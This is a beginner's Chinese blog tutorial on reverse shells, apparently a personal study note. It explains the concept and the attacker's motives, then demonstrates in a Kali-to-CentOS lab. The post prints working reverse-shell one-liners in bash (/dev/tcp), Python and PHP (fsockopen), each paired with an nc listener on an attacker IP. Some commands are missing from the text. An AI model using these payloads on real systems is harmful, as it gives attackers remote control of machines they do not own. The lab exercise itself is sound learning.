初识反弹Shell
前言:
最近看大師傅們的博客,總是會看到反彈shell,而且不理解,所以就學習一波順便總結下來!
0x01:何為反彈Shell
反彈shell(reverse shell),就是控制端監聽某TCP/UDP端口,被控端發起請求到該端口,并將其命令行的輸入輸出轉到控制端。reverse shell與telnet(遠程登陸),ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。
0x02:為何要反彈Shell
通常用于被控端因防火墻受限、權限不足、端口被占用等情形。
假設攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,叫做正向連接。遠程桌面、web服務、ssh、telnet等都是正向連接。那么什么情況下正向連接不能用了呢?
有如下情況:
1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。
2.目標機器的ip動態改變,你不能持續控制。
3.由于防火墻等限制,對方機器只能發送請求,不能接收請求。
4.對于病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機等情況都是未知的,所以建立一個服務端讓惡意程序主動連接,才是上策。
那么反彈就很好理解了,攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。
0x03:實踐反彈Shell
實驗環境:
Kali Linux: 192.168.186.128(攻擊方) CentOS 7: 192.168.186.129(服務器端)方法一:使用linux命令反彈shell
反彈shell命令格式如下:
$ bash -i >& /dev/tcp/ip/port 0>&1先在kail中使用nc監聽6666端口
$ nc -lvp 6666
然后在Centos中執行:
查看kail,發現ip地址已經變成服務器端的ip了,說明shell反彈成功,這時候就能對服務器進行遠程操控了
在Centos中執行那串代碼是怎么來的?,下面就來學習一下:
除此之外還可以在服務器端輸出字符串到這個/dev/tcp文件中,這樣攻擊方便可以接收到:
輸出lemon并重定向到/dev/tcp文件中
這個過程是服務器端->攻擊端,同樣也可以在攻擊機上的輸入,服務端進行接收
攻擊端輸入
服務器端接收
這行命令還含有&、0>&1
這里就涉及交互重定向,為實現交互,需要把服務器端交互式shell的輸出重定向到攻擊機上
在服務器端上輸入
如同,服務器端沒有任何回顯,攻擊端有回顯
但是這里就存在著一個問題,攻擊者沒有能夠實現對受害者的控制,攻擊者執行的命令沒法在受害者電腦上執行,所以需要一條這樣的指令
這條指令的意思是將攻擊者輸入的命令輸入給受害者的bash,所以便可以實現對受害者的控制
攻擊方:
服務器端:
將兩條指令結合起來,便可以形成:
接下來就涉及到比較復雜的重定向和文件描述符的知識,最終形成最經典的反彈shell語句。
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1由于現在是初始階段,有的確實還是不理解就不誤導其他人了.先通過使用來加深印象之后再將原理這塊補齊。原理可以參考這位大師傅的反彈shell
方法二:通過python反彈shell
首先在kail中監聽6666端口
root@kail:~# nc -lvp 6666
然后在Centos中輸入
展開來看就是這樣:
"import os,socket,subprocess; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('192.168.186.128',6666)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(['/bin/bash','-i']);"連接成功
原理還是經典反彈shell的原理,這里只不過是利用了python來實現
方法三:通過nc反彈shell
流程還是一樣的,先在kail中監聽6666端口
root@kail:~# nc -lvp 6666
然后在CentOS中輸入:
連接成功
方法四:使用php反彈shell
類型一:exec函數來反彈shell
先在kail中監聽端口,這里就不再敘述了
然后在Centos中執行以下命令:
連接成功:
類型二:fsockopen連接
fsockopen — 打開一個網絡連接或者一個Unix套接字連接
在Centos中執行:
php -r '$sock=fsockopen("192.168.186.128",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
連接成功
總結:
這次就先了解反彈shell的幾種方式,由于目前對linux的一些知識掌握的還不是很好,就先不學習原理,待基礎知識增強后再學習原理!!!
參考鏈接:
玄魂
Linux下反彈shell幾種方法學習總結
Linux 反彈shell(二)反彈shell的本質
總結
- 上一篇: Python爬虫之旅_TWO
- 下一篇: Python爬虫之旅_(数据解析)_bs